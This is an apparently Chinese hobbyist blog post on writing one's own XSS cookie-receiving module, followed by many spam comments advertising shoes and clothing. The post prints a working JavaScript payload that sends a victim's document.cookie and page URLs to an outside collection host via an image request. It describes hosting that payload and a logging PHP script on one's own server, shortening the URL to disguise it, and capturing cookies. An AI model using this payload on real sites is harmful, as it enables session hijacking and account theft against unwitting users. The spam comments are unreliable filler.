Walks

网络安全爱好者

编写自己的XSS接受模块

   

前言:

看JS书籍中,看着看着就想到了XSS平台,不禁对XSS平台为什么可以接受cookie产生了思考?看了下接受cookie的代码,原来是接受的步骤是这样的。

我们在存在一个XSS漏洞的地方插入XSS代码,该XSS代码从远程载入一段Javascript。这段Javascript代码的作用就是向我们的XSS平台提交一段GET请求,这段GET请求包括浏览器的cookie(document.cookie),然后我们的XSS平台就接受GET请求,把cookie获取。

那么我们是否可以自己搭建个接受模块来接受cookie呢?毕竟用别人的平台别人是可以看到我们打到的cookie的。

步骤:

这是XSS平台获取cookie的模块,下面的几段代码就可以让我们接受从某个地方打到的cookie《编写自己的XSS接受模块》

可能这样看不清楚,那我们解压缩一下。

(function () {
    (new Image()).src = 'http://xsspt.com/index.php?do=api&id={projectId}&location=' + escape((function () {
        try {
            return document.location.href
        } catch (e) {
            return ''
        }
    })()) + '&toplocation=' + escape((function () {
        try {
            return top.location.href
        } catch (e) {
            return ''
        }
    })()) + '&cookie=' + escape((function () {
        try {
            return document.cookie
        } catch (e) {
            return ''
        }
    })()) + '&opener=' + escape((function () {
        try {
            return (window.opener && window.opener.location.href) ? window.opener.location.href : ''
        } catch (e) {
            return ''
        }
    })());
})();
if ('{set.keepsession}' == 1) {
    keep = new Image();
    keep.src = 'http://xsspt.com/index.php?do=keepsession&id={projectId}&url=' + escape(document.location) + '&cookie=' + escape(document.cookie)
};

这段代码等同于<img src="http://localhost/xss.php?cookie=(document.cookie)….." />,也就是一个Img标签。该Img标签可以访问远程接受cookie的地址。 

那么我们在自己的服务器上加一个xss1.js和接受并处理cookie的xss.php不就行了么。 

 这里的话我图简单就本地phpstudy搭建了,反正都一样。。。

接受和处理cookie的xss.php

《编写自己的XSS接受模块》

发送GET请求的xss1.js

《编写自己的XSS接受模块》

本地写一个无过滤的界面来测试是否可以用。

《编写自己的XSS接受模块》

view看看。src后面的网址我把缩短了。

《编写自己的XSS接受模块》

百度缩短网址即可。

《编写自己的XSS接受模块》

最后看看我们本地的地方是否存在这个cookie.txt

《编写自己的XSS接受模块》

成功打到cookie,说明成功。

点赞
  1. I precisely needed to appreciate you once again. I am not sure the things I could possibly have handled in the absence of those opinions shared by you about that theme. This was the depressing issue for me, nevertheless coming across this specialized manner you solved it took me to cry with happiness. Now i am happy for this help and even hope that you really know what an amazing job you happen to be carrying out teaching men and women with the aid of a blog. Probably you've never come across any of us.

  2. ultra boost 3.0说道:

    I actually wanted to write down a simple note so as to appreciate you for those remarkable tips and tricks you are giving at this site. My extended internet look up has finally been honored with beneficial facts to go over with my partners. I 'd assume that many of us site visitors are unequivocally endowed to live in a notable site with so many perfect people with great plans. I feel rather privileged to have come across your web pages and look forward to really more cool minutes reading here. Thanks once more for a lot of things.

  3. Thank you so much for providing individuals with an extremely marvellous possiblity to read from this site. It is always very beneficial and also jam-packed with a great time for me personally and my office colleagues to visit your website at a minimum three times per week to learn the newest guidance you have got. And definitely, I'm certainly fulfilled with all the extraordinary opinions you serve. Some 2 facts in this post are absolutely the most impressive we've ever had.

  4. I wanted to compose you this little bit of remark just to thank you very much the moment again over the remarkable methods you have shared at this time. It has been really remarkably open-handed with people like you to convey easily just what many of us would've offered as an ebook to generate some bucks on their own, most notably now that you could have tried it in the event you decided. Those basics likewise acted to be the great way to be aware that most people have similar interest the same as mine to figure out much more in regard to this condition. I am sure there are lots of more pleasurable times in the future for those who look into your site.

  5. I am commenting to let you be aware of of the excellent discovery my girl found reading your web page. She came to understand a lot of pieces, which included what it's like to have a wonderful giving character to make many people really easily understand certain hard to do things. You truly surpassed visitors' expected results. Thanks for rendering the insightful, healthy, explanatory as well as fun tips on your topic to Julie.

  6. Thank you a lot for giving everyone a very superb opportunity to read from this blog. It's usually very useful and packed with a lot of fun for me and my office friends to visit your site at the very least 3 times in 7 days to learn the newest tips you have. And lastly, I'm so usually happy for the breathtaking tactics served by you. Some 3 ideas on this page are absolutely the simplest we have all ever had.

  7. ferragamo belts说道:

    Thanks so much for giving everyone such a wonderful chance to check tips from here. It is always so pleasing and as well , jam-packed with a great time for me and my office peers to visit your website no less than 3 times a week to read the fresh secrets you have. And definitely, I am just usually contented considering the fantastic opinions you give. Certain 2 areas in this post are certainly the best we've had.

  8. yeezy boost 350说道:

    My husband and i felt really thrilled when Edward could finish off his analysis by way of the ideas he received out of your site. It's not at all simplistic to just find yourself giving away secrets and techniques that many some others might have been selling. And we all fully understand we have got the blog owner to be grateful to for that. The main explanations you have made, the easy web site navigation, the friendships you assist to create - it's got mostly fantastic, and it is aiding our son in addition to us believe that the topic is entertaining, and that's especially indispensable. Many thanks for the whole lot!

  9. hyperdunks说道:

    I not to mention my friends were found to be reading the great tips and hints found on the website and then at once came up with an awful suspicion I had not thanked the blog owner for those tips. All the young boys became totally passionate to see all of them and have in effect surely been loving them. Many thanks for really being indeed considerate and also for deciding upon varieties of perfect issues most people are really desperate to be aware of. My honest apologies for not saying thanks to sooner.

  10. bape hoodie说道:

    I must voice my passion for your kind-heartedness in support of folks that absolutely need assistance with the situation. Your personal commitment to getting the message throughout was especially practical and have encouraged those like me to attain their objectives. Your amazing interesting guide implies a lot a person like me and further more to my mates. With thanks; from each one of us.

  11. air jordan 12说道:

    I wanted to send a simple message to express gratitude to you for some of the stunning guides you are giving out here. My long internet investigation has at the end been paid with incredibly good ideas to exchange with my relatives. I 'd believe that we readers are really fortunate to live in a notable community with so many outstanding individuals with valuable advice. I feel very much lucky to have come across the weblog and look forward to so many more amazing moments reading here. Thank you once again for a lot of things.

  12. nba jerseys说道:

    Thank you for all your valuable hard work on this web site. My mom takes pleasure in doing internet research and it is easy to understand why. A lot of people know all regarding the powerful manner you offer important things via the blog and even strongly encourage contribution from visitors about this topic while my girl is undoubtedly understanding a lot of things. Take pleasure in the remaining portion of the year. You are always doing a brilliant job.

  13. I have to express my thanks to this writer for bailing me out of this setting. As a result of exploring throughout the the net and seeing tricks which were not helpful, I assumed my life was well over. Living without the presence of strategies to the problems you've resolved as a result of your good article content is a critical case, and ones that might have badly affected my entire career if I hadn't encountered your web blog. Your personal skills and kindness in controlling all the details was very helpful. I don't know what I would've done if I hadn't come across such a subject like this. I'm able to at this moment relish my future. Thanks for your time so much for your high quality and sensible help. I will not hesitate to suggest your web page to any individual who needs and wants guidance about this subject matter.

  14. baseball jerseys说道:

    I want to show my love for your kind-heartedness in support of people that absolutely need guidance on this important content. Your real commitment to getting the solution all around appeared to be especially good and has truly permitted associates much like me to arrive at their targets. This helpful tips and hints denotes a lot a person like me and even more to my colleagues. Thank you; from everyone of us.

  15. Thanks for all your effort on this website. My mom enjoys going through investigation and it is easy to understand why. A number of us notice all of the lively ways you offer useful things by means of this web blog and as well cause contribution from visitors on the concern while our favorite girl is without question understanding a great deal. Take advantage of the rest of the year. You are always carrying out a superb job.

  16. yeezy boost 350说道:

    I truly wanted to develop a message to thank you for these marvelous information you are writing on this site. My long internet look up has at the end been rewarded with awesome know-how to share with my contacts. I would tell you that most of us website visitors actually are very much endowed to live in a perfect community with very many wonderful people with very beneficial suggestions. I feel extremely happy to have come across your webpages and look forward to many more fun minutes reading here. Thanks a lot again for everything.

  17. air jordan说道:

    My spouse and i got so glad when Emmanuel could round up his preliminary research from the precious recommendations he acquired out of your web pages. It is now and again perplexing to simply find yourself handing out hints that some others could have been making money from. And now we consider we have got the writer to be grateful to for that. The illustrations you made, the straightforward website navigation, the relationships you will aid to promote - it's all extraordinary, and it is facilitating our son and us do think this topic is satisfying, and that is very serious. Thanks for all!

  18. yeezy boost 350说道:

    I wanted to compose you a bit of remark to be able to say thanks a lot yet again relating to the incredible guidelines you have provided at this time. This is certainly unbelievably open-handed of people like you giving unhampered just what many of us could have advertised as an e-book to end up making some dough on their own, most notably seeing that you might well have done it in the event you considered necessary. These thoughts likewise acted to become good way to be aware that some people have the same eagerness just as mine to understand more in regard to this problem. I believe there are several more pleasurable opportunities ahead for folks who read through your blog post.

  19. curry 4说道:

    My husband and i got really fortunate when Louis could carry out his reports from your ideas he had out of your web site. It is now and again perplexing to just be handing out procedures which often many others have been making money from. Therefore we know we've got the writer to appreciate for this. The entire explanations you have made, the simple website navigation, the friendships you will aid to foster - it's most extraordinary, and it's letting our son and us reason why that idea is excellent, which is certainly extremely vital. Thank you for everything!

  20. My husband and i felt now fulfilled that Chris managed to round up his basic research while using the ideas he had while using the web site. It is now and again perplexing to just possibly be releasing helpful hints that people could have been selling. And now we acknowledge we have got you to give thanks to for that. Those illustrations you made, the easy site menu, the relationships you assist to engender - it is most great, and it is aiding our son in addition to us imagine that the theme is cool, and that's really vital. Thank you for the whole thing!

  21. louboutin shoes说道:

    Thanks for all your effort on this web page. My mother takes pleasure in working on research and it is obvious why. Most people learn all concerning the lively ways you offer sensible tactics through your web site and in addition improve response from the others about this issue plus my simple princess is becoming educated a lot of things. Take advantage of the rest of the new year. You're the one conducting a brilliant job.

  22. Auvela说道:

    I read this paragraph fully concerning the difference of
    most up-to-date and earlier technologies, it's awesome article.

  23. hermes birkin说道:

    I'm also writing to let you be aware of what a exceptional discovery our daughter experienced reading through your webblog. She mastered a wide variety of details, including how it is like to possess a great helping mindset to make other individuals just master specified impossible issues. You undoubtedly exceeded people's expected results. Thanks for coming up with such effective, trustworthy, revealing and even fun tips about this topic to Mary.

  24. off white说道:

    I wanted to draft you the bit of note to be able to say thank you yet again about the marvelous thoughts you've documented on this site. It was so remarkably generous of people like you to give freely what exactly many of us might have distributed as an ebook to help make some cash for themselves, most importantly seeing that you could have tried it if you considered necessary. These tricks also acted to be a great way to understand that the rest have a similar passion similar to my personal own to grasp way more with regard to this condition. I believe there are millions of more pleasurable moments ahead for individuals who read carefully your blog.

  25. nike lebron 15说道:

    I am just commenting to let you understand what a awesome encounter my child experienced browsing the blog. She came to understand plenty of pieces, which include how it is like to have a great giving heart to get other individuals without problems thoroughly grasp chosen multifaceted topics. You truly exceeded visitors' expected results. Many thanks for distributing those insightful, safe, informative as well as cool thoughts on your topic to Evelyn.

发表评论

电子邮件地址不会被公开。 必填项已用*标注